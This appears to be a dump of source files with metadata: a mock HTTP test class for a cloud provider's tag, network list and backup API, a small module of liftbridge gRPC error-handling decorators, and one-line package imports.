(httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_image_customerImage_2ffa36c8_1848_49eb_b4fa_9d908775f68c(self, method, url, body, headers): body = self.fixtures.load( '2.4/image_customerImage_2ffa36c8_1848_49eb_b4fa_9d908775f68c.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_image_customerImage_FAKE_IMAGE_ID(self, method, url, body, headers): body = self.fixtures.load( 'image_customerImage_BAD_REQUEST.xml') return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_reconfigureServer(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}reconfigureServer": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_reconfigureServer.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_cleanServer(self, method, url, body, headers): body = self.fixtures.load( 'server_cleanServer.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_addDisk(self, method, url, body, headers): body = self.fixtures.load( 'server_addDisk.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_removeDisk(self, method, url, body, headers): body = self.fixtures.load( 'server_removeDisk.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_createTagKey(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}createTagKey": raise InvalidRequestError(request.tag) name = findtext(request, 'name', TYPES_URN) description = findtext(request, 'description', TYPES_URN) value_required = findtext(request, 'valueRequired', TYPES_URN) display_on_report = findtext(request, 'displayOnReport', TYPES_URN) if name is None: raise ValueError("Name must have a value in the request") if description is not None: raise ValueError("Default description for a tag should be blank") if value_required is None or value_required != 'true': raise ValueError("Default valueRequired should be true") if display_on_report is None or display_on_report != 'true': raise ValueError("Default displayOnReport should be true") body = self.fixtures.load( 'tag_createTagKey.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_createTagKey_ALLPARAMS(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}createTagKey": raise InvalidRequestError(request.tag) name = findtext(request, 'name', TYPES_URN) description = findtext(request, 'description', TYPES_URN) value_required = findtext(request, 'valueRequired', TYPES_URN) display_on_report = findtext(request, 'displayOnReport', TYPES_URN) if name is None: raise ValueError("Name must have a value in the request") if description is None: raise ValueError("Description should have a value") if value_required is None or value_required != 'false': raise ValueError("valueRequired should be false") if display_on_report is None or display_on_report != 'false': raise ValueError("displayOnReport should be false") body = self.fixtures.load( 'tag_createTagKey.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_createTagKey_BADREQUEST(self, method, url, body, headers): body = self.fixtures.load( 'tag_createTagKey_BADREQUEST.xml') return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_tagKey(self, method, url, body, headers): body = self.fixtures.load( 'tag_tagKey_list.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_tagKey_SINGLE(self, method, url, body, headers): body = self.fixtures.load( 'tag_tagKey_list_SINGLE.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_tagKey_ALLFILTERS(self, method, url, body, headers): (_, params) = url.split('?') parameters = params.split('&') for parameter in parameters: (key, value) = parameter.split('=') if key == 'id': assert value == 'fake_id' elif key == 'name': assert value == 'fake_name' elif key == 'valueRequired': assert value == 'false' elif key == 'displayOnReport': assert value == 'false' elif key == 'pageSize': assert value == '250' else: raise ValueError("Could not find in url parameters {0}:{1}".format(key, value)) body = self.fixtures.load( 'tag_tagKey_list.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_tagKey_d047c609_93d7_4bc5_8fc9_732c85840075(self, method, url, body, headers): body = self.fixtures.load( 'tag_tagKey_5ab77f5f_5aa9_426f_8459_4eab34e03d54.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_tagKey_d047c609_93d7_4bc5_8fc9_732c85840075_NOEXIST(self, method, url, body, headers): body = self.fixtures.load( 'tag_tagKey_5ab77f5f_5aa9_426f_8459_4eab34e03d54_BADREQUEST.xml' ) return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_editTagKey_NAME(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}editTagKey": raise InvalidRequestError(request.tag) name = findtext(request, 'name', TYPES_URN) description = findtext(request, 'description', TYPES_URN) value_required = findtext(request, 'valueRequired', TYPES_URN) display_on_report = findtext(request, 'displayOnReport', TYPES_URN) if name is None: raise ValueError("Name must have a value in the request") if description is not None: raise ValueError("Description should be empty") if value_required is not None: raise ValueError("valueRequired should be empty") if display_on_report is not None: raise ValueError("displayOnReport should be empty") body = self.fixtures.load( 'tag_editTagKey.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_editTagKey_NOTNAME(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}editTagKey": raise InvalidRequestError(request.tag) name = findtext(request, 'name', TYPES_URN) description = findtext(request, 'description', TYPES_URN) value_required = findtext(request, 'valueRequired', TYPES_URN) display_on_report = findtext(request, 'displayOnReport', TYPES_URN) if name is not None: raise ValueError("Name should be empty") if description is None: raise ValueError("Description should not be empty") if value_required is None: raise ValueError("valueRequired should not be empty") if display_on_report is None: raise ValueError("displayOnReport should not be empty") body = self.fixtures.load( 'tag_editTagKey.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_editTagKey_NOCHANGE(self, method, url, body, headers): body = self.fixtures.load( 'tag_editTagKey_BADREQUEST.xml' ) return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_deleteTagKey(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}deleteTagKey": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'tag_deleteTagKey.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_deleteTagKey_NOEXIST(self, method, url, body, headers): body = self.fixtures.load( 'tag_deleteTagKey_BADREQUEST.xml' ) return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_applyTags(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}applyTags": raise InvalidRequestError(request.tag) asset_type = findtext(request, 'assetType', TYPES_URN) asset_id = findtext(request, 'assetId', TYPES_URN) tag = request.find(fixxpath('tag', TYPES_URN)) tag_key_name = findtext(tag, 'tagKeyName', TYPES_URN) value = findtext(tag, 'value', TYPES_URN) if asset_type is None: raise ValueError("assetType should not be empty") if asset_id is None: raise ValueError("assetId should not be empty") if tag_key_name is None: raise ValueError("tagKeyName should not be empty") if value is None: raise ValueError("value should not be empty") body = self.fixtures.load( 'tag_applyTags.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_applyTags_NOVALUE(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}applyTags": raise InvalidRequestError(request.tag) asset_type = findtext(request, 'assetType', TYPES_URN) asset_id = findtext(request, 'assetId', TYPES_URN) tag = request.find(fixxpath('tag', TYPES_URN)) tag_key_name = findtext(tag, 'tagKeyName', TYPES_URN) value = findtext(tag, 'value', TYPES_URN) if asset_type is None: raise ValueError("assetType should not be empty") if asset_id is None: raise ValueError("assetId should not be empty") if tag_key_name is None: raise ValueError("tagKeyName should not be empty") if value is not None: raise ValueError("value should be empty") body = self.fixtures.load( 'tag_applyTags.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_applyTags_NOTAGKEY(self, method, url, body, headers): body = self.fixtures.load( 'tag_applyTags_BADREQUEST.xml' ) return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_removeTags(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}removeTags": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'tag_removeTag.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_removeTags_NOTAG(self, method, url, body, headers): body = self.fixtures.load( 'tag_removeTag_BADREQUEST.xml' ) return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_tag(self, method, url, body, headers): body = self.fixtures.load( 'tag_tag_list.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_tag_tag_ALLPARAMS(self, method, url, body, headers): (_, params) = url.split('?') parameters = params.split('&') for parameter in parameters: (key, value) = parameter.split('=') if key == 'assetId': assert value == 'fake_asset_id' elif key == 'assetType': assert value == 'fake_asset_type' elif key == 'valueRequired': assert value == 'false' elif key == 'displayOnReport': assert value == 'false' elif key == 'pageSize': assert value == '250' elif key == 'datacenterId': assert value == 'fake_location' elif key == 'value': assert value == 'fake_value' elif key == 'tagKeyName': assert value == 'fake_tag_key_name' elif key == 'tagKeyId': assert value == 'fake_tag_key_id' else: raise ValueError("Could not find in url parameters {0}:{1}".format(key, value)) body = self.fixtures.load( 'tag_tag_list.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_ipAddressList( self, method, url, body, headers): body = self.fixtures.load('ip_address_lists.xml') return httplib.OK, body, {}, httplib.responses[httplib.OK] def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_ipAddressList_FILTERBYNAME( self, method, url, body, headers): body = self.fixtures.load('ip_address_lists_FILTERBYNAME.xml') return httplib.OK, body, {}, httplib.responses[httplib.OK] def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_createIpAddressList( self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}" \ "createIpAddressList": raise InvalidRequestError(request.tag) net_domain = findtext(request, 'networkDomainId', TYPES_URN) if net_domain is None: raise ValueError("Network Domain should not be empty") name = findtext(request, 'name', TYPES_URN) if name is None: raise ValueError("Name should not be empty") ip_version = findtext(request, 'ipVersion', TYPES_URN) if ip_version is None: raise ValueError("IP Version should not be empty") ip_address_col_required = findall(request, 'ipAddress', TYPES_URN) child_ip_address_required = findall(request, 'childIpAddressListId', TYPES_URN) if 0 == len(ip_address_col_required) and \ 0 == len(child_ip_address_required): raise ValueError("At least one ipAddress element or " "one childIpAddressListId element must be " "provided.") if ip_address_col_required[0].get('begin') is None: raise ValueError("IP Address should not be empty") body = self.fixtures.load( 'ip_address_list_create.xml' ) return httplib.OK, body, {}, httplib.responses[httplib.OK] def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_editIpAddressList( self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}" \ "editIpAddressList": raise InvalidRequestError(request.tag) ip_address_list = request.get('id') if ip_address_list is None: raise ValueError("IpAddressList ID should not be empty") name = findtext(request, 'name', TYPES_URN) if name is not None: raise ValueError("Name should not exists in request") ip_version = findtext(request, 'ipVersion', TYPES_URN) if ip_version is not None: raise ValueError("IP Version should not exists in request") ip_address_col_required = findall(request, 'ipAddress', TYPES_URN) child_ip_address_required = findall(request, 'childIpAddressListId', TYPES_URN) if 0 == len(ip_address_col_required) and \ 0 == len(child_ip_address_required): raise ValueError("At least one ipAddress element or " "one childIpAddressListId element must be " "provided.") if ip_address_col_required[0].get('begin') is None: raise ValueError("IP Address should not be empty") body = self.fixtures.load( 'ip_address_list_edit.xml' ) return httplib.OK, body, {}, httplib.responses[httplib.OK] def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_deleteIpAddressList( self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}" \ "deleteIpAddressList": raise InvalidRequestError(request.tag) ip_address_list = request.get('id') if ip_address_list is None: raise ValueError("IpAddressList ID should not be empty") body = self.fixtures.load( 'ip_address_list_delete.xml' ) return httplib.OK, body, {}, httplib.responses[httplib.OK] def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_portList( self, method, url, body, headers): body = self.fixtures.load( 'port_list_lists.xml' ) return httplib.OK, body, {}, httplib.responses[httplib.OK] def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_portList_c8c92ea3_2da8_4d51_8153_f39bec794d69( self, method, url, body, headers): body = self.fixtures.load( 'port_list_get.xml' ) return httplib.OK, body, {}, httplib.responses[httplib.OK] def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_createPortList( self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}" \ "createPortList": raise InvalidRequestError(request.tag) net_domain = findtext(request, 'networkDomainId', TYPES_URN) if net_domain is None: raise ValueError("Network Domain should not be empty") ports_required = findall(request, 'port', TYPES_URN) child_port_list_required = findall(request, 'childPortListId', TYPES_URN) if 0 == len(ports_required) and \ 0 == len(child_port_list_required): raise ValueError("At least one port element or one " "childPortListId element must be provided") if ports_required[0].get('begin') is None: raise ValueError("PORT begin value should not be empty") body = self.fixtures.load( 'port_list_create.xml' ) return httplib.OK, body, {}, httplib.responses[httplib.OK] def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_editPortList( self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}" \ "editPortList": raise InvalidRequestError(request.tag) ports_required = findall(request, 'port', TYPES_URN) child_port_list_required = findall(request, 'childPortListId', TYPES_URN) if 0 == len(ports_required) and \ 0 == len(child_port_list_required): raise ValueError("At least one port element or one " "childPortListId element must be provided") if ports_required[0].get('begin') is None: raise ValueError("PORT begin value should not be empty") body = self.fixtures.load( 'port_list_edit.xml' ) return httplib.OK, body, {}, httplib.responses[httplib.OK] def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_deletePortList( self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}" \ "deletePortList": raise InvalidRequestError(request.tag) port_list = request.get('id') if port_list is None: raise ValueError("Port List ID should not be empty") body = self.fixtures.load( 'ip_address_list_delete.xml' ) return httplib.OK, body, {}, httplib.responses[httplib.OK] def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_cloneServer( self, method, url, body, headers): body = self.fixtures.load( '2.4/server_clone_response.xml' ) return httplib.OK, body, {}, httplib.responses[httplib.OK] def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_image_importImage( self, method, url, body, headers): body = self.fixtures.load( '2.4/import_image_response.xml' ) return httplib.OK, body, {}, httplib.responses[httplib.OK] def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_exchangeNicVlans( self, method, url, body, headers): body = self.fixtures.load( '2.4/exchange_nic_vlans_response.xml' ) return httplib.OK, body, {}, httplib.responses[httplib.OK] def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_changeNetworkAdapter( self, method, url, body, headers): body = self.fixtures.load( '2.4/change_nic_networkadapter_response.xml' ) return httplib.OK, body, {}, httplib.responses[httplib.OK] def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_deployUncustomizedServer( self, method, url, body, headers): body = self.fixtures.load( '2.4/deploy_customised_server.xml' ) return httplib.OK, body, {}, httplib.responses[httplib.OK] def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_backup_client_type(self, method, url, body, headers): body = self.fixtures.load( '_backup_client_type.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_backup_client_storagePolicy( self, method, url, body, headers): body = self.fixtures.load( '_backup_client_storagePolicy.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_backup_client_schedulePolicy( self, method, url, body, headers): body = self.fixtures.load( '_backup_client_schedulePolicy.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_backup_client( self, method, url, body, headers): if method == 'POST': body = self.fixtures.load( '_backup_client_SUCCESS_PUT.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) else: raise ValueError("Unknown Method {0}".format(method)) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_backup_NOCLIENT( self, method, url, body, headers): # only gets here are implemented # If we get any other method something has gone wrong assert(method == 'GET') body = self.fixtures.load( '_backup_INFO_NOCLIENT.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_backup_DISABLED( self, method, url, body, headers): # only gets here are implemented # If we get any other method something has gone wrong assert(method == 'GET') body = self.fixtures.load( '_backup_INFO_DISABLED.xml') return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_backup_NOJOB( self, method, url, body, headers): # only gets here are implemented # If we get any other method something has gone wrong assert(method == 'GET') body = self.fixtures.load( '_backup_INFO_NOJOB.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_backup_DEFAULT( self, method, url, body, headers): if method != 'POST': raise InvalidRequestError('Only POST is accepted for this test') request = ET.fromstring(body) service_plan = request.get('servicePlan') if service_plan != DEFAULT_BACKUP_PLAN: raise InvalidRequestError('The default plan %s should have been passed in. Not %s' % (DEFAULT_BACKUP_PLAN, service_plan)) body = self.fixtures.load( '_backup_ENABLE.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_backup( self, method, url, body, headers): if method == 'POST': body = self.fixtures.load( '_backup_ENABLE.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) elif method == 'GET': if url.endswith('disable'): body = self.fixtures.load( '_backup_DISABLE.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) body = self.fixtures.load( '_backup_INFO.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) else: raise ValueError("Unknown Method {0}".format(method)) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_backup_EXISTS( self, method, url, body, headers): # only POSTs are implemented # If we get any other method something has gone wrong assert(method == 'POST') body = self.fixtures.load( '_backup_EXISTS.xml') return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_backup_modify( self, method, url, body, headers): request = ET.fromstring(body) service_plan = request.get('servicePlan') if service_plan != 'Essentials': raise InvalidRequestError("Expected Essentials backup plan in request") body = self.fixtures.load('_backup_modify.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_backup_modify_DEFAULT( self, method, url, body, headers): request = ET.fromstring(body) service_plan = request.get('servicePlan') if service_plan != DEFAULT_BACKUP_PLAN: raise InvalidRequestError("Expected % backup plan in test" % DEFAULT_BACKUP_PLAN) body = self.fixtures.load('_backup_modify.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_backup_client_30b1ff76_c76d_4d7c_b39d_3b72be0384c8( self, method, url, body, headers): if url.endswith('disable'): body = self.fixtures.load( ('_remove_backup_client.xml') ) elif url.endswith('cancelJob'): body = self.fixtures.load( ('' '_backup_client_30b1ff76_c76d_4d7c_b39d_3b72be0384c8_cancelJob.xml') ) else: raise ValueError("Unknown URL: %s" % url) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_backup_client_30b1ff76_c76d_4d7c_b39d_3b72be0384c8_FAIL( self, method, url, body, headers): if url.endswith('disable'): body = self.fixtures.load( ('_remove_backup_client_FAIL.xml') ) elif url.endswith('cancelJob'): body = self.fixtures.load( ('' '_backup_client_30b1ff76_c76d_4d7c_b39d_3b72be0384c8_cancelJob_FAIL.xml') ) else: raise ValueError("Unknown URL: %s" % url) return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK])

49.113889

159

0.666916

8,338

70,724

5.346966

0.052291

0.058542

0.059933

0.074916

0.907454

0.89099

0.880291

0.861741

0.852096

0.815827

0

0.079806

0.234263

70,724

1,439

160

49.148019

0.743426

0.006476

0

0.61854

0

0.172486

0.108334

0

0.034454

1

0.124692

false

0.001641

0.008203

0.00082

0.266612

0

null

0

1

0

null

0

6

beda3b8a8d79ccb2ae6bbdb60c7ba828189148e7

33

py

Python

src/__init__.py

Tygovanommen/relational-database-data-import

7a4743101228dc4be8a3ec76dc2879ef6523344f

[ "MIT" ]

null

src/__init__.py

Tygovanommen/relational-database-data-import

7a4743101228dc4be8a3ec76dc2879ef6523344f

[ "MIT" ]

null

src/__init__.py

Tygovanommen/relational-database-data-import

7a4743101228dc4be8a3ec76dc2879ef6523344f

[ "MIT" ]

null

from src.dbEbgine import dbEbgine

33

0.878788

5

33

5.8

0.8

0

0.090909

33

1

33

0.966667

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

bedab2642f36f021563cac9548d9cc3bc49da55f

29

py

Python

tests/core/test_pandas.py

aluhrs13/HPI

e750666e30e8987f3a4c46755857dc85dd64446c

[ "MIT" ]

1,026

2020-03-16T16:53:29.000Z

2022-03-29T16:03:38.000Z

tests/core/test_pandas.py

aluhrs13/HPI

e750666e30e8987f3a4c46755857dc85dd64446c

[ "MIT" ]

102

2020-03-18T22:53:29.000Z

2022-03-22T00:34:46.000Z

tests/core/test_pandas.py

aluhrs13/HPI

e750666e30e8987f3a4c46755857dc85dd64446c

[ "MIT" ]

50

2020-03-17T21:00:34.000Z

2022-03-28T08:37:13.000Z

from my.core.pandas import *

14.5

28

0.758621

5

29

4.4

1

0

0.137931

29

1

29

0.88

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

8300b277a4ee8df0d7731d83c1ec13d9bec52373

1,868

py

Python

python_liftbridge/errors.py

LaPetiteSouris/python-liftbridge

e97f795ae1be8ea871ac032d61464fb91a45973e

[ "Apache-2.0" ]

null

python_liftbridge/errors.py

LaPetiteSouris/python-liftbridge

e97f795ae1be8ea871ac032d61464fb91a45973e

[ "Apache-2.0" ]

null

python_liftbridge/errors.py

LaPetiteSouris/python-liftbridge

e97f795ae1be8ea871ac032d61464fb91a45973e

[ "Apache-2.0" ]

1

2020-05-30T13:49:50.000Z

from functools import wraps import grpc class ErrNoSuchStream(Exception): def __init__(self, message=None): message = message or 'Given stream does not exist' super().__init__(message) class ErrStreamExists(Exception): def __init__(self, message=None): message = message or 'Given stream already exists' super().__init__(message) class ErrChannelClosed(Exception): def __init__(self, message=None): message = message or 'Given channel has been closed' super().__init__(message) def handle_rpc_errors(fnc): """Decorator to add more context to RPC errors""" @wraps(fnc) def wrapper(*args, **kwargs): try: return fnc(*args, **kwargs) except grpc.RpcError as e: if e.code() == grpc.StatusCode.NOT_FOUND: raise ErrNoSuchStream from None elif e.code() == grpc.StatusCode.ALREADY_EXISTS: raise ErrStreamExists from None elif e.code() == grpc.StatusCode.CANCELLED: raise ErrChannelClosed from None else: print('Failed with {1}: {2}'.format(e.code(), e.details())) return wrapper def handle_rpc_errors_in_generator(fnc): """Decorator to add more context to RPC errors""" @wraps(fnc) def wrapper(*args, **kwargs): try: yield from fnc(*args, **kwargs) except grpc.RpcError as e: if e.code() == grpc.StatusCode.NOT_FOUND: raise ErrNoSuchStream from None elif e.code() == grpc.StatusCode.ALREADY_EXISTS: raise ErrStreamExists from None elif e.code() == grpc.StatusCode.CANCELLED: raise ErrChannelClosed from None else: print('Failed with {1}: {2}'.format(e.code(), e.details())) return wrapper

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false

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6

831f0b158174593e4a01ba0a4e2de5cde05b7c37

26

py

Python

video/__init__.py

mikesmithlab/Video

7b8b67fde3715b5cbe80d26ff5f6dfbaa04702ca

[ "MIT" ]

null

video/__init__.py

mikesmithlab/Video

7b8b67fde3715b5cbe80d26ff5f6dfbaa04702ca

[ "MIT" ]

null

video/__init__.py

mikesmithlab/Video

7b8b67fde3715b5cbe80d26ff5f6dfbaa04702ca

[ "MIT" ]

null

from .opencv_io import *

8.666667

24

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4

26

4.5

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26

2

25

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